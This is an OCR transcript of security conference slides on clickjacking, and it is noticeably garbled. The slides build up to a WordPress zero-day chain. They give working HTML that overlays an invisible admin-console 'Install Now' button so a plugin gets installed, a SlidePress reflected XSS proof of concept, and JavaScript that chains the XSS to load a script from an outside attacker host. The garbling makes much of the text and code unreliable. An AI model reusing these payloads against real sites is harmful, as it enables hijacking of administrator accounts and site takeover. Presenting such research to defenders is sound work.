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A Hello Everybody
A My name is Andrew Horton aka urbanadven
A Security Consultant for Security-Assessment.
A Develop security tools
A WhatWebi Web scannerincluded in BackTrack
A URLCrazyi Domain name typo squatting research
A and more
A Operate MorningStar Security News
A You may have seen me giving presentations at Kiwicon
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jacking For
ude videos
Or demos
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A What is clickjackin
A Clickjackingin the
A Are web apps vulnerable to clickj
A WordPress clickjacking Oday

A How to protect your webapp from clickjacking



What is Clickjacking? /D
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AYou think youodre clicki
website you see but noe
clickingon an invisible website you
cannot see thatos right
mouse.

A Clickjacking affects many browsers
and platforms

A First published in 2008 by Jeremiah
Grossman and Robert iRsnakeo
Hansen
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Lure victim B¥¥ clickjacking page with
user to a an invisible page on top
Webpage of a visible dummy page

to click

_ AThey have
Exploit performed an action
without realising




A Simple Example

A The user is lured into clicking on an ad

C7aD
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What the user clicks on What the user sees

Win Big

You are the lucky millionth visitor.
You have won a mystery prize.

Claim vour prize

RELATED SEARCHES

Free Symantec
Antivirus Download

Symantec Customer

Symantec Antivirus
Update

Symantec Corporation

Symantec Live Update
Symantec Account
Norton Symantec

4 NARROW BY REGION

MSN Hotmail
symantec
Web Morev

ALL RESULTS

1-10 of 10,7

Norton™ Official Site - www Symantec.com
Download the Latest Norton Software from the Official AU Sit

Symantec Australia - www.Symantec-Norton.com/austr;
Buy, Upgrade or Renew Symantec Products for Australia. Ec

New Norton Antivirus 2012 a$44.97 - OnlineSoftware
New Norton Antivirus & Internet Security 2012. Download No

Free Anti-Virus CD - FreeSoftwareCD.net
Protect Your PC From Adware, Computer Viruses & Hackers

Symantec - AntiVirus, Anti-Spyware, Endpoint S

A .
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A iFrames

A A webpage can contain another
webpage withinit. e.g. Google maps.

A Opacity
A HTML elements can be solid,
partially transparent or invisible

A Stacking Order

A HTML elements can be stacked on
top of one another

A Stacking + Opacity
A An element can be on top and
Invisible!
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The Simple Example Source Code sewrity_acss}:siment_com

Position:Absolute

Z-index Opacity _ _
lines up the iframe

puts the iframe on makes the iframe
(0]0) invisible

with the dummy
page

<html>

<hl style="text-align:center">Win Big</h1>
<p style="font-size: 38px;">You are the lucky millionth visitor.<br>You hayk
a mystery prize.</p>
<div style="z-index:10; ; position:absolute; top:0px; "> Invisible
<iframe scrolling="no" style="width:800px; height:500px;" iframe on top
src="http://www.bing.com/search?q=symantec"> </iframe>
</div>

<div style="position:absolute; top:200px; left:210px;">
<a href="#">Claim your prize</a>
</div>

&/htmb

ACl aim you
lined up with an ad
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Now you understand

Clickjacking

|t 0s siI mple. You can steal cl
presentation about it?
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: -

NAdv an Cleckljacking Tricks

A You can convince victims to click & drag

A Paul Stone discussing this and othertricksinh i s paper @ N
Generation Clickjackingo

A Drag text into form fields
A Drag text out of an iframe to steal data
You can convince victims to type into form fields
Control scrolling in an iframe with link anchors
A http://example.com/#section
A You can convince victims to click multiple times
A Sometimes an action takes a few clicks
A Theinvisibleiframe can follow the mouse
A Anywhere the user clicks is clickjacked

A
A



C k| n g N th e Wl I d security-assessment.com
—

A Twitter
A Exploit: Force twitter users to post a message

A Facebook
A Exploit: Force users to ‘[ g" Like J

A Advertising and Affiliate Networks
A Force users to click on ads for $$$ CYBER CRIME CASH $$$

A Adobe Flash
A Adjust the privacy settings to turn on the camera and microphone




EXploit Process for Facebook secu,ity_a@;e;ment_com

Lure victim AA clickjacking page with an invisible
userto a ALi kedo button on top of a visible dumm

webpage page
ot -
to click AR, | | llﬂ_-l L||':'-.E

ANow their Facebook Wall
shows they fALikeo

Friends AThe
Click on process
their Wall repeats
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2} Facebook | e - Mozilla Firefox
File Edit View History Bookmarks Tools

@ - c Q | http://www.facebook.com/profile.phpfref=profileBud=mmm e ps Sam ’f:? -

Help

0 -
'g.' ® Google R |

facebuuk Home Profile Friends Inbox =  Settings  Logout
o h Nothing 15 minutes 250 clear
wall Info <=+
Create an Ad
What's on your mind?
DSLR Camera - »
7
Attach: = G 4 m $4.767
T Upload a Photo Q) Options
L@ Take a Fhoto
in' 172 E
Edit My Profile Wanna C Somthin" HOT! 77 =
Source: I R
Click Da' Button, Baby! |r- NT———
Write something about yourself, - B oo g
= -
Friends ' Like
0 friends
) ~ﬂ| 3 minutes ago © Comment - Like * Share e mEE ¥
q Find pecple you know -
= = Nothing =
Links # 19 minutes ago * Comment - Like
1 link: See Al
[ff Wanna C Somthin' HOT! 72 _ L]

12:03pm Mov 23
=N U

[~
Create a Profile Badge —
Y Like
Be your own boss  x
in 2010
f'-f ¥
Applications L e ] L Chat (0) El 8

Done
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erleaders Gone Wild

A Fake Captcha
facebook Y

Cheerleaders gone wild - have to see this | &5 Uke

wall Info Vileo

'

Warning!

Due to the increased number of spam bots putting extra load on our
servers, please verify that you are a real HUMAN.

Follow the instructions below to proceed.

Click buttons in this order: 3, 1, 2

Tnformation 1 2 3

200 Cancel

I 717 norsihe B e thic
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A You have clickedfi L i Koe ®pages and shared one on
your Facebook wall

Whaty ouor e | ook i nvwh aatoo gour FB Wall

o ) Cheerleaders gone wild - have to see this :j:iz }'.'S;Si ’

- e B oals

Cheerleaders gone wild - have to see this

Wall Info Video Vebsite: 20,733 people like this.

; minutes ago Comment - Like - Share
pd cheerleaders gone wild es ago * @ - Comme e - Share

Other pages you like

Funniest Videos On the Web Remove Page

"
Free ringtones every day




Where are the Web App EXPlOitS?.cuiy o

A Are web apps vulnerable to clickjacking?

F,D

Aochrviag Lapiods

4

Updated (CVE Ao Ak

F o

Q)

- "
Searc

LY




How to Identify Exploitable Web Apps Security_acszezsiment_com

A Look for the following 3 conditions

NO AHTTP X-Frame-Opti ons header i s

PI’O’[eCtion AFrame busting doesno6t mat

AThe URL that is presented to the victim must
be predetermined.

Alt cannot require a CSRF or session token

AAny action that helps a hacker

Single CI|Ck AA single click makes an easy target

AMultiple clicks and drags are not so easy
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Was WordPress Vulnerable? B s essment.com

WordPress recently got ClickJacking protection but there
was no specific threat against WordPress

WordPress Gets Clickjacking Protection Worgp,
' e

] _ . Click; ate ;
u==a blogging platform gets improved ser Jackime- €in
klng o c'lldes

.

Ss y i
o Pdate INcludeg ‘cli

Improved clickjacking security seems to be the new thing amongst popular 4 beta of Wordp
eAPTREE T ea iR g SRV oW e BY Lawrepca Latif

o . Wordpre
WordPress Improves Clickjacking Security Protectj

ijacking.

-
€55 3.2 alsg tips up

Technology » News

3\’\(3 D

pE W g O Wer” GRS

P gx\'\gsﬂ o ﬁaec&fa,:‘““ a Qaﬁg\;‘;}e o o8l

“ 0™ 2 iney ©°

et qerm e’
0
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http://wordpress/wp-admin/plugin-install.php?tab=plugin-
information&plugin=wp-gallery-remote

a|qeIoIpald

|,_‘, http://wordpress/wp-admin/plugin-install.php?tab=plugin-information&plugin=wp-gallery-remote&T v G‘|

v cooge Q| €3

B BackTrack Linux [ Offensive Security ] Exploit-DB Yy Aircrack-ng EJSEORG.org [ Music v

Description = Installation Screenshots Changelog Fag Other Motes

Sing|e Clle Install Now

FYI

Description

Warning: This plugin has not been tested with your current version of WordPress. Version: 1.5.1

- Author: Christian Bartels
WP-Gallery-Remote includes albums and images from any Gallery installation using GalleryOs Gallery Remote Protocol.
Images are display as thumbnails in you posts and pages. Thereby you can choose between a plain output of the thumbnails Lot e L e e
and a C55 and Javascript based carousel mode. Have a look at the screenshots to see how that looks like. If the Lightbox Requires WordPress Version:
Plugin is available and activated, clicking on a thumbnail opens the respective image using the lightbox effect. If the plugin is 2.5 or higher

not available or activated, the image is shown in a new browser window.

Compatible up to: 2.6
Features Downloaded: 12,338 times
MordPress.org Plugin Page »

Plugin Homepage =

m displays images and albums of any Gallery installg

= support for multiple wpgr tags in one post/page |

= support for multiple Gallery installations (v1.2) No Protection in WordPress

Average Ratin
= two output types: plain and carousel (v1.2) - .

3.1.2 and earlier g haiarks

m Lightbox integration {based on & ratings)

= supports caching of fetched album and image mé

= include/exclude filter to only show some images from an alburt




Exploit Process For WordPress

Lure
WordPress
admin to a

webpage

page

Getthem to
click

D

security-assessment.com

AA clickjacking page with an invisible Plugin Install webpage from
their own WordPress admin console on top of a visible dummy

AThey canodt see that t he
clicking an Al nstall No
button
AThey have
: installed a
EXp|O|t plugin of our

choosing J
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A Install any WordPr

WORDPRESS.ORG

Plugin Directory - — P

Home Showcase | Extend | About Docs Blog Forums Hosting [elsiiglleElsl

Extend Home Plugins can extend WordPress to do almost anyvthing vou can imagine. In the Most Popular »
Plugins directory vou can find, download, rate, and comment on all the best plugins the
= Developer Center WordPress community has to offer. » Allin One SEC Pack Dovnloaded
8,685,465 times
Themes » Google XML Sitemaps Downloaded
16,222 PLUGINS, 216,001,071 DOWNLOADS, AND COUNTING 5,923,779 times
Mobile

. « Contact Form 7 Downloaded
| Search Plugins | .
. A 4,644,897 times

Ideas
» SexyBookmarks | email,

7z

A How does Plugin installation work?
A A ZIP archive gets unpacked into http://victim.com/wp-content/plugins/
A Installed but not activated
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What the user sees
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What the usersis clicking on

WordPress Clickjack Exploit v1

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor
incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis
nostrud exercitation ullamco laboris nisi. read more

An Install Now button is hidden in front of the 'read more' link. When clicked,
this will install a WordPress plugin. After installation, the user is redirected to a
page acknowledging the new plugin.

The hldden 1frame contams http:
fi 1 11

WordPress Clickjack Exploit v1

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor
incididunt ut labore et dolore magna alicna TTt anim ad minim veniam, quis
nostrud exercitation ullamco laboris nisi :

An Install Now button is hidden in front of the 'read more' link. When clicked,
this will install a WordPress plugin. After installation, the user is redirected to a
page acknowledging the new plugin.

The hldden 1frame contalns http:

A The Install Now button is in an iframe pointing to the WordPress

admin console

AThe Admin userods browser automat

cookies. The Admin must be logged In.

C
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A How do | select only the part of the webpage that

contains the Install Now button?

WordPress C

OQuter Div is a
small window

TB_iframe=true&width=640&height=581

ckjack Exploit v1

Inner iFrame is the
Plugin webpage

v % \White Hat Securities |
File Edit View History Bookmarks

Version: 1.5.1
Author: Christian Bartels
Last Updated: 1135 days ago

Requires WordPress Version:
2.5 or higher

<div id="outerdiv">

</iframe>

\</ div>

/#outerdiv { width:100px; height:30px; overflow:hidden; position:absolute;
top:113px; left:335px; z-index:10; opacity:0; }
#inneriframe { position:absolute; top:-40px; left:-10px; width:200px; height:100px; border: none;}

<iframe id="inneriframe" scrolling="no" src="http://wordpress/wp-admin/plugin-install.php...">
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<html>
<head><title>Clickjack Exploit for WordPress v1</title></head> Z-index

<body> puts the iframe on
<style> Uy
#outerdiv { width:100px; height:30px; overflow:hidden; position:absolute;

top:113px; left:335px; z-index: 10; } _
#inneriframe { Opacity
position:absolute; top:-40px; left:-10px; width:200px; height:100px; border: none; mak?rfvtigﬁ)l'game
}

#para { width:650px; } I
</style> Position:Absolute
<h1>WordPress Clickjack Exploit vi</h1> lines up the iframe

<p id="para">Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmo AR U
incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud € Page
ullamco laboris nisi. <a href="#">read more</a> </p>

<div id="outerdiv">

<iframe id="inneriframe" scrolling="no" src="http://wordpress/wp-admin/plugin-install.php?
tab=plugin-information&plugin=wp-gallery-remote&TB_iframe=true&width=640&height=
581">

wordpress

</iframe>

</div>
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e enou.e
) after installi

yads the PI

<iframe id="innerframe" class="innerframe" scrolling= "no"
src="data:text/html;charset=utf-8,

---Snip---

<iframe name='_parent' scrolling='no' src="http://wordpress/wp-
admin/plugin-install.php... '></iframe>"></iframe>




EXploit Process For WordPress secu,ity_a@;e;ment_com

Wofé’;?ess AA clickjacking page with an invisible Plugin

Install webpage from their own WordPress
admin console on top of a visible dummy page

admin to a
webpage

AThey candt see that
Lrey it Sheos ! T
Get them to il nstall Nowo Sns i Now

click

AThey have installed a
plugin of our choosing J

Leverage AHow?

Plugin
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How to leverage the power to install an arbitrary plugin?

A Should | make a trojan horse
plugin and submit to the
WordPress plugin DB?

A Or should | hunt for bugs and find
a vulnerable plugin in the DB?
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A Hunting for bugs is easier
A SlidePress is vulnerable to Reflected Cross Site Scripting (XSS)

A Vulnerable when installed but not activated so only one click is
required.

A Proof of Concept Exploit

4 A

http://wordpress/wp-content/plugins/slidepress/tools/preview.php?sspWidth=1
&sspHeight=</script><script>alert(document.cookie)</script>&sspGalleryld=1

\_ J

A Cross Site Scripting (XSS) is a powerful attack
A Injects JavaScriptinto a webpage
A Can add an admin user or upload a backdoor
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EXploit Process For WordPress . uity-assessment.com

Lure
WordPress
admin to a

webpage

Get them to
click

Vulnerable

AA clickjacking page with an invisible Plugin Install
webpage from their own WordPress admin console on
top of a visible dummy page

butt on

AThey have installed SlidePress, a
vulnerable plugin

Exploit A Exploit Cross
Vulnerable Site Scripting
Plugin in SlidePress
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0SS Site Scripting (XSS) ecurity-

A How do | automatically start XSS after the
A | need to detect when the user clicks
A Use the load method of the iframe
A 1st|oad is the page load, 2" load is the stolen click

function frameloaded() {
load_count=load count+1;
if (load_count==2) {
# exploit time
ex();
}
}

---Snip---
<iframe class="attacksite' onload='frameloaded()>

\_




Chain Cross Site Scripting (XSS) 2

security-assessment.com

Ve

A How do | automatically start XSS after the Plugin installs?

Upon the 2" frame load, ex() is called to perform the XSS attack

Stage?2 is loaded with the SlidePress page which contains a XSS
vulnerability

A The XSS payload is stored at http://hax0r/x2.js

4 N

function ex() {

top.document.getElementByld('stage?2').src="http://wordpress/wp-
content/plugins/slidepress/tools/preview.php?sspWidth=1&sspHeight=1%3'+'C/script%
3E'+'%3'+'Cscript%20src=http://hax0r/x2.js?i="+Math.random()+'%3E%3'+'C/script%
3E%3'+'Cnos'+'cript%3E&sspGalleryld=1&wp_path=/&a=></if'+'rame>";
} .
---Snip----
<iframe id="stage2"></iframe>

\_ /

A
A




